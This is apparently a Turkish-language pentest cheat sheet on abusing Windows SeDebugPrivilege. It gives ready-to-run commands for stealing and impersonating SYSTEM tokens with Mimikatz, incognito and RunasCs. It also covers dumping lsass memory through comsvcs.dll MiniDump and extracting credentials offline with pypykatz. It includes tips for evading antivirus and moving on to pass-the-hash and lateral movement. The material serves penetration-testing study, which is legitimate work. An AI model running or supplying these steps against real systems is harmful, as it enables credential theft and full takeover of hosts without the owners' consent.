SeDebugPrivilege & Token Impersonation/Theft — incognito tarzi token caldirma
SeDebugPrivilege ile yuksek ayricalikli process'lere (lsass, SYSTEM servisleri) erisip token'larini caldirma, lsass dump alma ve mevcut SYSTEM token'ini impersonate ederek (incognito / Mimikatz token::elevate / RunasCs) yetki yukseltme yontemleri.
- whoami /priv ciktisinda SeDebugPrivilege = Enabled (cogunlukla yerel admin/servis hesaplari)
- SYSTEM process'leri uzerinde okuma/handle acma yetkisi
Komutlar
whoami /priv | findstr /i "SeDebug" privilege::debug token::elevate sekurlsa::logonpasswords incognito.exe list_tokens -u incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Windows\Temp\lsass.dmp full pypykatz lsa minidump lsass.dmp RunasCs.exe {{USER}} {{PASS}} cmd.exe Ayricaligin Gucu
SeDebugPrivilege, koruma altindaki olmayan tum process’lere (lsass dahil) PROCESS_ALL_ACCESS handle acmaya izin verir. Bu sayede iki ana saldiri acilir: (1) yuksek ayricalikli bir process’in token’ini caldirip impersonate etmek, (2) lsass bellegini dump edip kimlik bilgilerini cikarmak. SeDebug genellikle yerel admin veya bazi servis hesaplarinda bulunur.
Tespit
whoami /priv → SeDebugPrivilege = Enabled. Cogu zaman zaten yuksek-orta haklara sahip bir baglamda olursunuz; amac SYSTEM’e gecmek ve/veya domain creds toplamaktir.
Token Theft / Impersonation
Mantik: SYSTEM olarak calisan bir process bul, token’ini ac, duplicate et ve o token ile yeni process baslat.
- Mimikatz —
privilege::debugsonrasitoken::elevateile Mimikatz oturumu SYSTEM’e cikar. Ardindantoken::list/token::runile spesifik kullanici token’lari kullanilabilir. - Incognito (standalone veya Meterpreter
load incognito) —list_tokens -uile musait token’lari listeleyipimpersonate_token "NT AUTHORITY\\SYSTEM"veyaexecute -cile SYSTEM process baslatir. Domain ortamında bir admin oturum acmissa onun token’i da calinabilir (lateral movement).
lsass Dump → Offline Parse
SeDebug ile comsvcs.dll MiniDump (LOLBAS) en temiz on-disk yontemdir; ureyen lsass.dmp Kali’ye tasinip pypykatz ile parse edilir. Bu, Mimikatz’in hedefte calistirilmasini gerektirmedigi icin AV acisindan daha sessizdir. Alternatif: Task Manager / procdump.
Creds ile Token Uretme
Dump’tan parola/hash cikinca, RunasCs ile yeni logon token uretip process baslatabilirsiniz; pass-the-hash icin evil-winrm/impacket’e gecin (win-stored-creds, help-impacket).
Notlar
- lsass PPL (Protected Process Light) ile korunuyorsa standart handle acma basarisiz olur; PPL bypass ek adim gerektirir [UNVERIFIED — ortam bagimli].
- Mimikatz hedefte AV’ye takilirsa: lsass’i dump et + offline pypykatz; ya da
.NETSafetyKatz/Out-Minidumpvaryantlari. - Token theft cikti teyidi: yeni shell’de
whoami→nt authority\systemveya hedef kullanici.